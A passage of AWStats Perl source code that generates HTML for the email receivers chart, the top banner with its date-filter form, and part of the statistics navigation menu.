#$color_other\">$Message[2]</span></td>"; 9670 if ( $ShowEMailSenders =~ /H/i ) { print "<td>$rest_h</td>"; } 9671 if ( $ShowEMailSenders =~ /B/i ) { 9672 print "<td nowrap=\"nowrap\">" . Format_Bytes($rest_k) . "</td>"; 9673 } 9674 if ( $ShowEMailSenders =~ /M/i ) { 9675 print "<td nowrap=\"nowrap\">" 9676 . Format_Bytes( $rest_k / ( $rest_h || 1 ) ) . "</td>"; 9677 } 9678 if ( $ShowEMailSenders =~ /L/i ) { print "<td> </td>"; } 9679 print "</tr>\n"; 9680 } 9681 &tab_end(); 9682} 9683 9684#------------------------------------------------------------------------------ 9685# Function: Prints HTML to display an email receivers chart 9686# Parameters: - 9687# Input: $NewLinkParams, NewLinkTarget 9688# Output: HTML 9689# Return: - 9690#------------------------------------------------------------------------------ 9691sub HTMLShowEmailReceiversChart { 9692 my $NewLinkParams = shift; 9693 my $NewLinkTarget = shift; 9694 my $MaxLengthOfShownEMail = 48; 9695 9696 my $total_p; 9697 my $total_h; 9698 my $total_k; 9699 my $max_p; 9700 my $max_h; 9701 my $max_k; 9702 my $rest_p; 9703 my $rest_h; 9704 my $rest_k; 9705 9706 # Show filter form 9707 #&ShowFormFilter("emailrfilter",$EmailrFilter); 9708 # Show emails list 9709 9710 print "$Center<a name=\"emailreceivers\"> </a><br />\n"; 9711 my $title; 9712 if ( $HTMLOutput{'allemailr'} || $HTMLOutput{'lastemailr'} ) { 9713 $title = "$Message[132]"; 9714 } 9715 else { 9716 $title = 9717"$Message[132] ($Message[77] $MaxNbOf{'EMailsShown'}) - <a href=\"" 9718 . ( 9719 $ENV{'GATEWAY_INTERFACE'} 9720 || !$StaticLinks 9721 ? XMLEncode("$AWScript${NewLinkParams}output=allemailr") 9722 : "$StaticLinks.allemailr.$StaticExt" 9723 ) 9724 . "\"$NewLinkTarget>$Message[80]</a>"; 9725 if ( $ShowEMailReceivers =~ /L/i ) { 9726 $title .= " - <a href=\"" 9727 . ( 9728 $ENV{'GATEWAY_INTERFACE'} 9729 || !$StaticLinks 9730 ? XMLEncode("$AWScript${NewLinkParams}output=lastemailr") 9731 : "$StaticLinks.lastemailr.$StaticExt" 9732 ) 9733 . "\"$NewLinkTarget>$Message[9]</a>"; 9734 } 9735 } 9736 &tab_head( "$title", 19, 0, 'emailreceivers' ); 9737 print 9738"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[132] : " 9739 . ( scalar keys %_emailr_h ) . "</th>"; 9740 if ( $ShowEMailReceivers =~ /H/i ) { 9741 print "<th rowspan=\"2\" bgcolor=\"#$color_h\" width=\"80\"" 9742 . Tooltip(4) 9743 . ">$Message[57]</th>"; 9744 } 9745 if ( $ShowEMailReceivers =~ /B/i ) { 9746 print 9747"<th class=\"datasize\" rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\"" 9748 . Tooltip(5) 9749 . ">$Message[75]</th>"; 9750 } 9751 if ( $ShowEMailReceivers =~ /M/i ) { 9752 print 9753"<th rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>"; 9754 } 9755 if ( $ShowEMailReceivers =~ /L/i ) { 9756 print "<th rowspan=\"2\" width=\"120\">$Message[9]</th>"; 9757 } 9758 print "</tr>\n"; 9759 print 9760"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"30%\">Local</th><th> </th><th width=\"30%\">External</th></tr>"; 9761 $total_p = $total_h = $total_k = 0; 9762 $max_h = 1; 9763 foreach ( values %_emailr_h ) { 9764 if ( $_ > $max_h ) { $max_h = $_; } 9765 } 9766 $max_k = 1; 9767 foreach ( values %_emailr_k ) { 9768 if ( $_ > $max_k ) { $max_k = $_; } 9769 } 9770 my $count = 0; 9771 if ( !$HTMLOutput{'allemailr'} && !$HTMLOutput{'lastemailr'} ) { 9772 &BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emailr_h, 9773 \%_emailr_h ); 9774 } 9775 if ( $HTMLOutput{'allemailr'} ) { 9776 &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emailr_h, 9777 \%_emailr_h ); 9778 } 9779 if ( $HTMLOutput{'lastemailr'} ) { 9780 &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emailr_h, 9781 \%_emailr_l ); 9782 } 9783 foreach my $key (@keylist) { 9784 my $newkey = $key; 9785 if ( length($key) > $MaxLengthOfShownEMail ) { 9786 $newkey = substr( $key, 0, $MaxLengthOfShownEMail ) . "..."; 9787 } 9788 my $bredde_h = 0; 9789 my $bredde_k = 0; 9790 if ( $max_h > 0 ) { 9791 $bredde_h = int( $BarWidth * $_emailr_h{$key} / $max_h ) + 1; 9792 } 9793 if ( $max_k > 0 ) { 9794 $bredde_k = int( $BarWidth * $_emailr_k{$key} / $max_k ) + 1; 9795 } 9796 print "<tr>"; 9797 my $direction = IsLocalEMail($key); 9798 9799 if ( $direction > 0 ) { 9800 print "<td class=\"aws\">$newkey</td><td><-</td><td> </td>"; 9801 } 9802 if ( $direction == 0 ) { 9803 print 9804"<td colspan=\"3\"><span style=\"color: #$color_other\">$newkey</span></td>"; 9805 } 9806 if ( $direction < 0 ) { 9807 print "<td class=\"aws\"> </td><td>-></td><td>$newkey</td>"; 9808 } 9809 if ( $ShowEMailReceivers =~ /H/i ) { 9810 print "<td>$_emailr_h{$key}</td>"; 9811 } 9812 if ( $ShowEMailReceivers =~ /B/i ) { 9813 print "<td nowrap=\"nowrap\">" 9814 . Format_Bytes( $_emailr_k{$key} ) . "</td>"; 9815 } 9816 if ( $ShowEMailReceivers =~ /M/i ) { 9817 print "<td nowrap=\"nowrap\">" 9818 . Format_Bytes( $_emailr_k{$key} / ( $_emailr_h{$key} || 1 ) ) 9819 . "</td>"; 9820 } 9821 if ( $ShowEMailReceivers =~ /L/i ) { 9822 print "<td nowrap=\"nowrap\">" 9823 . ( $_emailr_l{$key} ? Format_Date( $_emailr_l{$key}, 1 ) : '-' ) 9824 . "</td>"; 9825 } 9826 print "</tr>\n"; 9827 9828 #$total_p += $_emailr_p{$key}; 9829 $total_h += $_emailr_h{$key}; 9830 $total_k += $_emailr_k{$key}; 9831 $count++; 9832 } 9833 $rest_p = 0; # $rest_p=$TotalPages-$total_p; 9834 $rest_h = $TotalHits - $total_h; 9835 $rest_k = $TotalBytes - $total_k; 9836 if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) 9837 { # All other receiver emails 9838 print 9839"<tr><td colspan=\"3\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; 9840 if ( $ShowEMailReceivers =~ /H/i ) { print "<td>$rest_h</td>"; } 9841 if ( $ShowEMailReceivers =~ /B/i ) { 9842 print "<td nowrap=\"nowrap\">" . Format_Bytes($rest_k) . "</td>"; 9843 } 9844 if ( $ShowEMailReceivers =~ /M/i ) { 9845 print "<td nowrap=\"nowrap\">" 9846 . Format_Bytes( $rest_k / ( $rest_h || 1 ) ) . "</td>"; 9847 } 9848 if ( $ShowEMailReceivers =~ /L/i ) { print "<td> </td>"; } 9849 print "</tr>\n"; 9850 } 9851 &tab_end(); 9852} 9853 9854#------------------------------------------------------------------------------ 9855# Function: Prints the top banner of the inner frame or static page 9856# Parameters: $WIDTHMENU1 9857# Input: _ 9858# Output: HTML 9859# Return: - 9860#------------------------------------------------------------------------------ 9861sub HTMLTopBanner{ 9862 my $WIDTHMENU1 = shift; 9863 my $frame = ( $FrameName eq 'mainleft' ); 9864 9865 if ($Debug) { debug( "ShowTopBan", 2 ); } 9866 print "$Center<a name=\"menu\"> </a>\n"; 9867 9868 if ( $FrameName ne 'mainleft' ) { 9869 my $NewLinkParams = ${QueryString}; 9870 $NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i; 9871 $NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i; 9872 $NewLinkParams =~ s/(^|&|&)year=[^&]*//i; 9873 $NewLinkParams =~ s/(^|&|&)month=[^&]*//i; 9874 $NewLinkParams =~ s/(^|&|&)framename=[^&]*//i; 9875 $NewLinkParams =~ s/(&|&)+/&/i; 9876 $NewLinkParams =~ s/^&//; 9877 $NewLinkParams =~ s/&$//; 9878 my $NewLinkTarget = ''; 9879 9880 if ( $FrameName eq 'mainright' ) { 9881 $NewLinkTarget = " target=\"_parent\""; 9882 } 9883 print "<form name=\"FormDateFilter\" action=\"" 9884 . XMLEncode("$AWScript${NewLinkParams}") 9885 . "\" style=\"padding: 0px 0px 20px 0px; margin-top: 0\"$NewLinkTarget>\n"; 9886 } 9887 9888 if ( $QueryString !~ /buildpdf/i ) { 9889 print 9890"<table class=\"aws_border\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n"; 9891 print "<tr><td>\n"; 9892 print 9893"<table class=\"aws_data sortable\" border=\"0\" cellpadding=\"1\" cellspacing=\"0\" width=\"100%\">\n"; 9894 } 9895 else { 9896 print "<table width=\"100%\">\n"; 9897 } 9898 9899 if ( $FrameName ne 'mainright' ) { 9900 9901 # Print Statistics Of 9902 if ( $FrameName eq 'mainleft' ) { 9903 my $shortSiteDomain = $SiteDomain; 9904 if ( length($SiteDomain) > 30 ) { 9905 $shortSiteDomain = 9906 substr( $SiteDomain, 0, 20 ) . "..." 9907 . substr( $SiteDomain, length($SiteDomain) - 5, 5 ); 9908 } 9909 print 9910"<tr><td class=\"awsm\"><b>$Message[7]:</b></td></tr><tr><td class=\"aws\"><span style=\"font-size: 12px;\">$shortSiteDomain</span></td>"; 9911 } 9912 else { 9913 print 9914"<tr><td class=\"aws\" valign=\"middle\"><b>$Message[7]:</b> </td><td class=\"aws\" valign=\"middle\"><span style=\"font-size: 14px;\">$SiteDomain</span></td>"; 9915 } 9916 9917 # Logo and flags 9918 if ( $FrameName ne 'mainleft' ) { 9919 if ( $LogoLink =~ "http://www.awstats.org" ) { 9920 print "<td align=\"right\" rowspan=\"3\"><a href=\"" 9921 . XMLEncode($LogoLink) 9922 . "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\"" 9923 . AltTitle( ucfirst($PROG) . " Web Site" ) 9924 . " /></a>"; 9925 } 9926 else { 9927 print "<td align=\"right\" rowspan=\"3\"><a href=\"" 9928 . XMLEncode($LogoLink) 9929 . "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\" /></a>"; 9930 } 9931 if ( !$StaticLinks ) { print "<br />"; Show_Flag_Links($Lang); } 9932 print "</td>"; 9933 } 9934 print "</tr>\n"; 9935 } 9936 if ( $FrameName ne 'mainleft' ) { 9937 9938 # Print Last Update 9939 print 9940"<tr valign=\"middle\"><td class=\"aws\" valign=\"middle\" width=\"$WIDTHMENU1\"><b>$Message[35]:</b> </td>"; 9941 print 9942"<td class=\"aws\" valign=\"middle\"><span style=\"font-size: 12px;\">"; 9943 if ($LastUpdate) { print Format_Date( $LastUpdate, 0 ); } 9944 else { 9945 9946 # Here NbOfOldLines = 0 (because LastUpdate is not defined) 9947 if ( !$UpdateStats ) { 9948 print "<span style=\"color: #880000\">$Message[24]</span>"; 9949 } 9950 else { 9951 print 9952 "<span style=\"color: #880000\">No qualified records found in log 9953 ($NbOfLinesCorrupted corrupted, $NbOfLinesComment comments, $NbOfLinesBlank Blank, 9954 $NbOfLinesDropped dropped)</span>"; 9955 } 9956 } 9957 print "</span>"; 9958 9959 # Print Update Now link 9960 if ( $AllowToUpdateStatsFromBrowser && !$StaticLinks ) { 9961 my $NewLinkParams = ${QueryString}; 9962 $NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i; 9963 $NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i; 9964 $NewLinkParams =~ s/(^|&|&)framename=[^&]*//i; 9965 if ( $FrameName eq 'mainright' ) { 9966 $NewLinkParams .= "&framename=mainright"; 9967 } 9968 $NewLinkParams =~ s/(&|&)+/&/i; 9969 $NewLinkParams =~ s/^&//; 9970 $NewLinkParams =~ s/&$//; 9971 if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; } 9972 print " "; 9973 print "<a href=\"" 9974 . XMLEncode("$AWScript${NewLinkParams}update=1") 9975 . "\">$Message[74]</a>"; 9976 } 9977 print "</td>"; 9978 9979 # Logo and flags 9980 if ( $FrameName eq 'mainright' ) { 9981 if ( $LogoLink =~ "http://www.awstats.org" ) { 9982 print "<td align=\"right\" rowspan=\"2\"><a href=\"" 9983 . XMLEncode($LogoLink) 9984 . "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\"" 9985 . AltTitle( ucfirst($PROG) . " Web Site" ) 9986 . " /></a>\n"; 9987 } 9988 else { 9989 print "<td align=\"right\" rowspan=\"2\"><a href=\"" 9990 . XMLEncode($LogoLink) 9991 . "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\" /></a>\n"; 9992 } 9993 if ( !$StaticLinks ) { print "<br />"; Show_Flag_Links($Lang); } 9994 print "</td>"; 9995 } 9996 9997 print "</tr>\n"; 9998 9999 # Print selected period of analysis (month and year required) 10000 print 10001"<tr><td class=\"aws\" valign=\"middle\"><b>$Message[133]:</b></td>"; 10002 print "<td class=\"aws\" valign=\"middle\">"; 10003 if ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ) { 10004 print "<select class=\"aws_formfield\" name=\"databasebreak\">\n"; 10005 print "<option" 10006 . ( $DatabaseBreak eq "month" ? " selected=\"selected\"" : "" ) 10007 . " value=\"month\">Monthly</option>\n"; 10008 print "<option" 10009 . ( $DatabaseBreak eq "day" ? " selected=\"selected\"" : "" ) 10010 . " value=\"day\">Daily</option>\n"; 10011 print "<option" 10012 . ( $DatabaseBreak eq "hour" ? " selected=\"selected\"" : "" ) 10013 . " value=\"hour\">Hourly</option>\n"; 10014 print "</select>\n"; 10015 10016 print "<select class=\"aws_formfield\" name=\"month\">\n"; 10017 foreach ( 1 .. 12 ) { 10018 my $monthix = sprintf( "%02s", $_ ); 10019 print "<option" 10020 . ( 10021 "$MonthRequired" eq "$monthix" 10022 ? " selected=\"selected\"" 10023 : "" 10024 ) 10025 . " value=\"$monthix\">$MonthNumLib{$monthix}</option>\n"; 10026 } 10027 if ( $AllowFullYearView >= 2 ) { 10028 print "<option" 10029 . ( $MonthRequired eq 'all' ? " selected=\"selected\"" : "" ) 10030 . " value=\"all\">- $Message[6] -</option>\n"; 10031 } 10032 print "</select>\n"; 10033 print "<select class=\"aws_formfield\" name=\"year\">\n"; 10034 10035 # Add YearRequired in list if not in ListOfYears 10036 $ListOfYears{$YearRequired} ||= $MonthRequired; 10037 foreach ( sort keys %ListOfYears ) { 10038 print "<option" 10039 . ( $YearRequired eq "$_" ? " selected=\"selected\"" : "" ) 10040 . " value=\"$_\">$_</option>\n"; 10041 } 10042 print "</select>\n"; 10043 10044 if ( $DatabaseBreak eq 'day' || 10045 $DatabaseBreak eq 'hour') { 10046 if (!$DayRequired) { 10047 $DayRequired = $nowday; 10048 } 10049 print "<select class=\"aws_formfield\" name=\"day\">\n"; 10050 foreach ( 1 .. 31 ) { 10051 print "<option" 10052 . ( $DayRequired eq "$_" ? " selected=\"selected\"" : "" ) 10053 . " value=\"$_\">$_</option>\n"; 10054 } 10055 print "</select>\n"; 10056 } 10057 10058 if ( $DatabaseBreak eq 'hour') { 10059 if (!$HourRequired) { 10060 $HourRequired = $nowhour; 10061 } 10062 print "<select class=\"aws_formfield\" name=\"day\">\n"; 10063 foreach ( 1 .. 31 ) { 10064 print "<option" 10065 . ( $HourRequired eq "$_" ? " selected=\"selected\"" : "" ) 10066 . " value=\"$_\">$_</option>\n"; 10067 } 10068 print "</select>\n"; 10069 } 10070 10071 print "<input type=\"hidden\" name=\"output\" value=\"" 10072 . join( ',', keys %HTMLOutput ) 10073 . "\" />\n"; 10074 if ($SiteConfig) { 10075 print 10076"<input type=\"hidden\" name=\"config\" value=\"$SiteConfig\" />\n"; 10077 } 10078 if ($DirConfig) { 10079 print 10080"<input type=\"hidden\" name=\"configdir\" value=\"$DirConfig\" />\n"; 10081 } 10082 if ( $QueryString =~ /lang=(\w+)/i ) { 10083 print 10084 "<input type=\"hidden\" name=\"lang\" value=\"$1\" />\n"; 10085 } 10086 if ( $QueryString =~ /debug=(\d+)/i ) { 10087 print 10088 "<input type=\"hidden\" name=\"debug\" value=\"$1\" />\n"; 10089 } 10090 if ( $FrameName eq 'mainright' ) { 10091 print 10092"<input type=\"hidden\" name=\"framename\" value=\"index\" />\n"; 10093 } 10094 print 10095"<input type=\"submit\" value=\" $Message[115] \" class=\"aws_button\" />"; 10096 } 10097 else { 10098 print "<span style=\"font-size: 14px;\">"; 10099 if ($DayRequired) { print "$Message[4] $DayRequired - "; } 10100 if ( $MonthRequired eq 'all' ) { 10101 print "$Message[6] $YearRequired"; 10102 } 10103 else { 10104 print 10105 "$Message[5] $MonthNumLib{$MonthRequired} $YearRequired"; 10106 } 10107 print "</span>"; 10108 } 10109 print "</td></tr>\n"; 10110 } 10111 if ( $QueryString !~ /buildpdf/i ) { 10112 print "</table>\n"; 10113 print "</td></tr></table>\n"; 10114 } 10115 else { 10116 print "</table>\n"; 10117 } 10118 10119 if ( $FrameName ne 'mainleft' ) { print "</form><br />\n"; } 10120 else { print "<br />\n"; } 10121 print "\n"; 10122} 10123 10124#------------------------------------------------------------------------------ 10125# Function: Prints the menu in a frame or below the top banner 10126# Parameters: _ 10127# Input: _ 10128# Output: HTML 10129# Return: - 10130#------------------------------------------------------------------------------ 10131sub HTMLMenu{ 10132 my $NewLinkParams = shift; 10133 my $NewLinkTarget = shift; 10134 my $frame = ( $FrameName eq 'mainleft' ); 10135 10136 if ($Debug) { debug( "ShowMenu", 2 ); } 10137 10138 # Print menu links 10139 if ( ( $HTMLOutput{'main'} && $FrameName ne 'mainright' ) 10140 || $FrameName eq 'mainleft' ) 10141 { # If main page asked 10142 # Define link anchor 10143 my $linkanchor = 10144 ( $FrameName eq 'mainleft' ? "$AWScript${NewLinkParams}" : "" ); 10145 if ( $linkanchor && ( $linkanchor !~ /framename=mainright/ ) ) { 10146 $linkanchor .= "framename=mainright"; 10147 } 10148 $linkanchor =~ s/(&|&)$//; 10149 $linkanchor = XMLEncode("$linkanchor"); 10150 10151 # Define target 10152 my $targetpage = 10153 ( $FrameName eq 'mainleft' ? " target=\"mainright\"" : "" ); 10154 10155 # Print Menu 10156 my $linetitle; # TODO a virer 10157 if ( !$PluginsLoaded{'ShowMenu'}{'menuapplet'} ) { 10158 my $menuicon = 0; # TODO a virer 10159 # Menu HTML 10160 print "<table" 10161 . ( 10162 $frame 10163 ? " cellspacing=\"0\" cellpadding=\"0\" border=\"0\"" 10164 : "" 10165 ) 10166 . ">\n"; 10167 if ( $FrameName eq 'mainleft' && $ShowMonthStats ) { 10168 print( $frame? "<tr><td class=\"awsm\">" : "" ); 10169 print 10170"<a href=\"$linkanchor#top\"$targetpage>$Message[128]</a>"; 10171 print( $frame? "</td></tr>\n" : " " ); 10172 } 10173 my %menu = (); 10174 my %menulink = (); 10175 my %menutext = (); 10176 10177 # When 10178 %menu = ( 10179 'month' => $ShowMonthStats ? 1 : 0, 10180 'daysofmonth' => $ShowDaysOfMonthStats ? 2 : 0, 10181 'daysofweek' => $ShowDaysOfWeekStats ? 3 : 0, 10182 'hours' => $ShowHoursStats ? 4 : 0 10183 ); 10184 %menulink = ( 10185 'month' => 1, 10186 'daysofmonth' => 1, 10187 'daysofweek' => 1, 10188 'hours' => 1 10189 ); 10190 %menutext = ( 10191 'month' => $Message[162], 10192 'daysofmonth' => $Message[138], 10193 'daysofweek' => $Message[91], 10194 'hours' => $Message[20] 10195 ); 10196 HTMLShowMenuCateg( 10197 'when', $Message[93], 10198 'menu4.png', $frame, 10199 $targetpage, $linkanchor, 10200 $NewLinkParams, $NewLinkTarget, 10201 \%menu, \%menulink, 10202 \%menutext 10203 ); 10204 10205 # Who 10206 %menu = ( 10207 'countries' => $ShowDomainsStats ? 1 : 0, 10208 'alldomains' => $ShowDomainsStats ? 2 : 0, 10209 'visitors' => $ShowHostsStats ? 3 : 0, 10210 'allhosts' => $ShowHostsStats ? 4 : 0, 10211 'lasthosts' => ( $ShowHostsStats =~ /L/i ) ? 5 : 0, 10212 'unknownip' => $ShowHostsStats ? 6 : 0, 10213 'logins' => $ShowAuthenticatedUsers ? 7 : 0, 10214 'alllogins' => $ShowAuthenticatedUsers ? 8 : 0, 10215 'lastlogins' => ( $ShowAuthenticatedUsers =~ /L/i ) ? 9 : 0, 10216 'emailsenders' => $ShowEMailSenders ? 10 : 0, 10217 'allemails' => $ShowEMailSenders ? 11 : 0, 10218 'lastemails' => ( $ShowEMailSenders =~ /L/i ) ? 12 : 0, 10219 'emailreceivers' => $ShowEMailReceivers ? 13 : 0, 10220 'allemailr' => $ShowEMailReceivers ? 14 : 0, 10221 'lastemailr' => ( $ShowEMailReceivers =~ /L/i ) ? 15 : 0, 10222 'robots' => $ShowRobotsStats ? 16 : 0, 10223 'allrobots' => $ShowRobotsStats ? 17 : 0, 10224 'lastrobots' => ( $ShowRobotsStats =~ /L/i ) ? 18 : 0, 10225 'worms' => $ShowWormsStats ? 19 : 0 10226 ); 10227 %menulink = ( 10228 'countries' => 1, 10229 'alldomains' => 2, 10230 'visitors' => 1, 10231 'allhosts' => 2, 10232 'lasthosts' => 2, 10233 'unknownip' => 2, 10234 'logins' => 1, 10235 'alllogins' => 2, 10236 'lastlogins' => 2, 10237 'emailsenders' => 1, 10238 'allemails' => 2, 10239 'lastemails' => 2, 10240 'emailreceivers' => 1, 10241 'allemailr' => 2, 10242 'lastemailr' => 2, 10243 'robots' => 1, 10244 'allrobots' => 2, 10245 'lastrobots' => 2, 10246 'worms' => 1 10247 ); 10248 %menutext = ( 10249 'countries' => $Message[148], 10250 'alldomains' => $Message[80], 10251 'visitors' => $Message[81], 10252 'allhosts' => $Message[80], 10253 'lasthosts' => $Message[9], 10254 'unknownip' => $Message[45], 10255 'logins' => $Message[94], 10256 'alllogins' => $Message[80], 10257 'lastlogins' => $Message[9], 10258 'emailsenders' => $Message[131], 10259 'allemails' => $Message[80], 10260 'lastemails' => $Message[9], 10261 'emailreceivers' => $Message[132], 10262 'allemailr' => $Message[80], 10263 'lastemailr' => $Message[9], 10264 'robots' => $Message[53], 10265 'allrobots' => $Message[80], 10266 'lastrobots' => $Message[9], 10267 'worms' => $Message[136] 10268 ); 10269 HTMLShowMenuCateg( 10270 'who', $Message[92], 10271 'menu5.png', $frame, 10272 $targetpage, $linkanchor, 10273 $NewLinkParams, $NewLinkTarget, 10274 \%menu, \%menulink, 10275 \%menutext 10276 ); 10277 10278 # Navigation 10279 $linetitle = &AtLeastOneNotNull( 10280 $ShowSessionsStats, $ShowPagesStats, 10281 $ShowFileTypesStats, $ShowFileSizesStats, 10282 $ShowOSStats, $ShowBrowsersStats, 10283 $ShowScreenSizeStats, $ShowDownloadsStats 10284 ); 10285 if ($linetitle) { 10286 print "<tr><td class=\"awsm\"" 10287 . ( $frame ? "" : " valign=\"top\"" ) . ">" 10288 . ( 10289 $menuicon 10290 ? "<img src=\"$DirIcons/other/menu2.png\" /> " 10291 : "" 10292 ) 10293 . "<b>$Message[72]:</b></td>\n"; 10294 } 10295 if ($linetitle) { 10296 print( $frame? "</tr>\n" : "<td class=\"awsm\">" ); 10297 } 10298 if ($ShowSessionsStats) { 10299 print( $frame? "<tr><td class=\"awsm\">" : "" ); 10300 print 10301"<a href=\"$linkanchor#sessions\"$targetpage>$Message[117]</a>"; 10302 print( $frame? "</td></tr>\n" : " " ); 10303 } 10304 if ($ShowFileTypesStats && $LevelForFileTypesDetection > 0) { 10305 print( $frame? "<tr><td class=\"awsm\">" : "" ); 10306 print 10307"<a href=\"$linkanchor#filetypes\"$targetpage>$Message[73]</a>"; 10308 print( $frame? "</td></tr>\n" : " " ); 10309 } 10310 if ($ShowDownloadsStats && $LevelForFileTypesDetection > 0) { 10311 print( $frame? "<tr><td class=\"awsm\">" : "" ); 10312 print 10313"<a href=\"$linkanchor#downloads\"$targetpage>$Message[178]</a>"; 10314 print( $frame? "</td></tr>\n" : " " ); 10315 print( $frame 10316 ? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> " 10317 : "" 10318 ); 10319 print "<a href=\"" 10320 . ( 10321 $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks 10322 ? XMLEncode( 10323 "$AWScript${NewLinkParams}output=downloads") 10324 : "$StaticLinks.downloads.$StaticExt" 10325 ) 10326 . "\"$NewLinkTarget>$Message[80]</a>\n"; 10327 print( $frame? "</td></tr>\n" : " " ); 10328 } 10329 if ($ShowPagesStats) { 10330 print( $frame? "<tr><td class=\"awsm\">" : "" ); 10331 print 10332"<a href=\"$linkanchor#urls\"$targetpage>$Message[29]</a>\n"; 10333 print( $frame? "</td></tr>\n" : " " ); 10334 } 10335 if ($ShowPagesStats) { 10336 print( $frame 10337 ? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> " 10338 : "" 10339 ); 10340 print "<a href=\"" 10341 . ( 10342 $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks 10343 ? XMLEncode( 10344 "$AWScript${NewLinkParams}output=urldetail") 10345 : "$StaticLinks.urldetail.$StaticExt" 10346 ) 10347 . "\"$NewLinkTarget>$Message[80]</a>\n"; 10348 print( $frame? "</td></tr>\n" : " " ); 10349 } 10350 if ( $ShowPagesStats =~ /E/i ) { 10351 print( $frame 10352 ? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> " 10353 : "" 10354 ); 10355 print "<a href=\"" 10356 . ( 10357 $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks 10358 ? XMLEncode( 10359 "$AWScript${NewLinkParams}output=urlentry") 10360 : "$StaticLinks.urlentry.$StaticExt" 10361 ) 10362 . "\"$NewLinkTarget>$Message[104]</a>\n"; 10363 print( $frame? "</td></tr>\n" : " " ); 10364 } 10365 if ( $ShowPagesStats =~ /X/i ) { 10366 print( $frame 10367 ? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> " 10368 : "" 10369 ); 10370 print "<a href=\"" 10371 . ( 10372 $ENV{'GATEWAY_INTERFACE'} 10373 || !$StaticLinks 10374 ? XMLEncode("$AWScript${NewLinkParams}output=urlexit") 10375 : "$StaticLinks.urlexit.$StaticExt" 10376 ) 10377 . "\"$NewLinkTarget>$Message[116]</a>\n"; 10378 print( $frame? "</td></tr>\n" : " " ); 10379 } 10380 if ($ShowOSStats) { 10381 print( $frame? "<tr><td class=\"awsm\">" : "" ); 10382 print 10383 "<a href=\"$linkanchor#os\"$targetpage>$Message[59]</a>"; 10384 print( $frame? "</td></tr>\n" : " " ); 10385 } 10386 if ($ShowOSStats) { 10387 print( $frame 10388 ? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> " 10389 : "" 10390 ); 10391 print "<a href=\"" 10392 . ( 10393 $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks 10394 ? XMLEncode( 10395 "$AWScript${NewLinkParams}output=osdetail") 10396 : "$StaticLinks.osdetail.$StaticExt" 10397 ) 10398 . "\"$NewLinkTarget>$Message[58]</a>\n"; 10399 print( $frame? "</td></tr>\n" : " " ); 10400 } 10401 if ($ShowOSStats) { 10402 print( $frame 10403 ? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> " 10404 : "" 10405 ); 10406 print "<a href=\"" 10407 . ( 10408 $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks 10409 ? XMLEncode( 10410 "$AWScript${NewLinkParams}output=unknownos") 10411 : "$StaticLinks.unknownos.$StaticExt" 10412 ) 10413 . "\"$NewLinkTarget>$Message[0]</a>\n"; 10414 print( $frame? "</td></tr>\n" : " " ); 10415 } 10416 if ($ShowBrowsersStats) { 10417 print( $frame? "<tr><td class=\"awsm\">" : "" ); 10418 print 10419"<a href=\"$linkanchor#browsers\"$targetpage>$Message[21]</a>"; 10420 print( $frame? "</td></tr>\n" : " " ); 10421 } 10422 if ($ShowBrowsersStats) { 10423 print( $frame 10424 ? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> " 10425 : "" 10426 ); 10427 print "<a href=\"" 10428 . ( 10429 $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks 10430 ? XMLEncode( 10431 "$AWScript${NewLinkParams}output=browserdetail") 10432 : "$StaticLinks.browserdetail.$StaticExt" 10433 ) 10434 . "\"$NewLinkTarget>$Message[58]</a>\n"; 10435 print( $frame? "</td></tr>\n" : " " ); 10436 } 10437 if ($ShowBrowsersStats) { 10438 print( $frame 10439 ? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> " 10440 : "" 10441 ); 10442 print "<a href=\"" 10443 . ( 10444 $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks 10445 ? XMLEncode( 10446 "$AWScript${NewLinkParams}output=unknownbrowser") 10447 : "$StaticLinks.unknownbrowser.$StaticExt" 10448 ) 10449 . "\"$NewLinkTarget>$Message[0]</a>\n"; 10450 print( $frame? "</td></tr>\n" : " " ); 10451 } 10452 if ($ShowScreenSizeStats) { 10453 print( $frame? "<tr><td class=\"awsm\">" : "" ); 10454 print 10455"<a href=\"$linkanchor#screensizes\"$targetpage>$Message[135]</a>"; 